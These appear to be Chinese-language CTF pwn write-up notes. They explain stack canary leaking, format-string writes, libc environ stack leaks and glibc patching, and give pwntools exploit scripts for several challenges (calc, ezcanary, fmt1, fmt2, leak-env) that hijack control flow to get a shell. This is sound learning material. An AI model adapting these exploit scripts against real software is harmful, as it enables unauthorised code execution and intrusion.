ezshop
没有检查下界
输入负数即可
calc
接受字节转换为整数为 int()
输入整数 发送用str(整数).encode()
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
f=remote("8.130.35.16",55001)
#f=process("/home/llk/桌面/exp/calc/dist/pwn")
#gdb.attach(f,"b*main")
i=1
while(i<=100):
f.recvuntil(b"===\n")
a=f.recvuntil(b"+")[:-1]
b=f.recvuntil(b"=")[:-1]
f.sendline(str(int(a)+int(b)).encode())
i=i+1
f.interactive()
ezcanary
s[i:j] 表示获取a[i]到a[j-1]
s[:-1]去掉最后一个字符
s[:-n]去掉最后n个字符
s[-2:]取最后两个字符
s[i:j:k]这种格式呢,i,j与上面的一样,但k表示步长,默认为1
s[::-1]是从最后一个元素到第一个元素复制一遍(反向)
四种方法
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来
已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过
hex(x)
x -- 10进制整数
返回16进制数,以字符串形式表示。
p32(x)
x-- 一个整型数据
返回byte型。
u32(x)
x-- byte型
返回整型。
int(a,base=x)
a-- 可以是byte也可以是str型
x是a本身的的进制。
返回10进制数,整型。
注意 存在movaps的报错现象 当使用0x401216作为返回地址时,movaps不符合要求,此时movaps要求rsp为十六的倍数。所以使用0x401231作为返回地址,gdb调试可以发现rsp此时符合
movaps指令要求数据在内存中对齐16字节边界,以提高效率
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("8.130.35.16",55000)
elf=ELF("../dist/pwn")
#s=process("../dist/pwn")
#gdb.attach(s,"b*main")
s.sendafter(b"Ur name plz?\n",b"a"*0x19) #gdb中不需要回车符也能成功输入
s.recvuntil(b"a"*0x19)
canary=b"\x00"+s.recv(7)
s.sendafter(b"right?",b"Y")
s.sendafter(b"plz.\n",flat([b"a"*0x18,canary,0,0x0000000000401231]))
s.interactive()
fmt1
参数安装寄存器存放,大于六个时放入栈中
此时%np的第几个参数是从rdi后的参数作为第一个参数开始往后算
%k$p显示第k个参数内容
%k$n显示第把前面打印的长度写入k个参数对应位置的内容
第39个参数对应为第38个参数的位置,可利用这个写入
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("8.130.35.16",52000)
#s=process("../dist/fmt1")
#gdb.attach(s,"b*main")
s.sendafter("content: ",b"%35p%39$hhn")
s.interactive()
ALT+T命令启动文本搜索
ALT+B即可启动二进制搜索
eval() 函数用来执行一个字符串表达式,并返回表达式的值
fmt2
.为什么要修改libc库
这里的libc.so.6是一个软连接,表示该程序依赖于libc.so.2.x.x版本的libc,后面的路径指向本地该版本libc的地址,ld则是链接器的地址,但由于本地使用的libc与靶机libc版本不一样,导致脚本在不同系统上运行时会造成某些地址变化,然后出错,因此需要下载一个与靶机相同的libc版本,使该程序的软链接指向适配靶机的libc版本,这样在本地调试与远程调试时才能有正确的结果。
非常感谢北理的师傅ethanyi9和南邮的师傅凉城旧梦不老坟的帮助
ldd -v pwn查看目前链接信息
寻找 对应的libc 文件
strings ./libc.so.6 | grep “GLIBC”
strings ./libc.so.6 | grep ubuntu
得到对应的C Library
随后到glibc-all-in-one中下载对应的链接器
amd64 64位
i386 32位
patchelf --set-interpreter /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so /home/w1nd/Desktop/pwn
patchelf --replace-needed libc.so.6 /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so pwn
python字符串前加 f 的含义
格式化 {} 内容,不在 {} 内的照常展示输出,如果你想输出 {},那就用双层 {{}} 将想输出的内容包起来。
#include <stdio.h>
int main()
{
int val;
printf("blah %n blah\n", &val); //不会打印任何东西。 这个参数必须是一个有符号整数的指针,它存储它出现之前打印的所有字符数。
printf("val = %d\n", val);
return 0;
}
db 1个字节,
dw 2个字节
dd 4个字节
第一次printf时候
发现对应_libc_csu_init函数的地址-0x1280即可得到elf基地址(elf基地址不等同main函数基地址,它相当于把执行文件移到IDA后的显示的汇编代码的开始位置)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process('../dist/fmt2')
#s=remote("192.168.3.253",52001)
#pause()
#gdb.attach(s,"b*main")
s.sendlineafter(b"content: ",b"%33$p")
elf_base=int(s.recv(14).decode(),16)-0x1280#七个字节 14位
print(hex(elf_base))
target=elf_base+0x4048
print(hex(target))
p=f"%{0xef}c%12$hhn%{0x100-0xef+0xbe}c%13$hhn%{0x100-0xbe+0xad}c%14$hhn%{0xde-0xad}c%15$hhna".encode() #编码即可发送
for i in range(4):
p+=p64(target+i)
s.sendafter(b"content: ",p)
s.interactive()
leak-env
write(1,buf,N)与write(0,buf,N)
两者均会在终端上打印出buf的内容
这里是引用在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量
putchar();输出的是字符,但不自带换行功能。
puts();自带换行功能,将结尾\0换成\n
putchar(10);实现换行原因:
putchar输出字符,因为10是整数,所以系统只能将其转换为对应的ASCII字符。
ASCII中10对应的是换行符
int main(int argc, char *argv[])
argc 是 argument count的缩写,表示传入main函数的参数个数;
argv 是 argument vector的缩写,表示传入main函数的参数,并且第一个参数argv[0]为程序名,所以确切的说需要我们输入的main函数的参数个数应该是argc-1个;
在libc中存在符号environ指向了&argv[argc + 1]的地址,这个地址保存在栈上,而environ地址可以通过libc偏移计算获得,所以如果条件允许通过泄漏environ的值获得栈地址,再通过计算并劫持栈返回地址提前布置好rop链,可以最终达到getshell的目的。
int()转换进制函数不能对空字符进行处理,会报错
libc中environ为environ在栈上的地址,通过environ变量地址在函数栈上,然后得出其返回地址
此时在main函数中查看栈,发现返回地址正好为0x7fffacbbf498-0x100
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
libc=ELF("../dist/libc.so.6")
f=ELF("../dist/leakenv")
s=process("./leakenv")
#s=remote("8.130.35.16",52003)
gdb.attach(s,"b main")
s.recvuntil(b"Here's your gift: ")
libc_base=int(s.recvline()[:-1],16)-libc.sym.printf
environ=libc.sym.__environ+libc_base
s.sendlineafter(b"read?",hex(environ)[2:].encode())
print(s.recvuntil(b"Here you are: "))
stack=u64(s.recv(8))
#print(hex(stack))
target=stack-0x100
s.sendlineafter(b"it?",hex(target)[2:].encode())
s.sendafter(b"it.\n",flat([0x0000000000023b63+libc_base,0,0,0,0,libc_base+0xe3afe]))
s.interactive()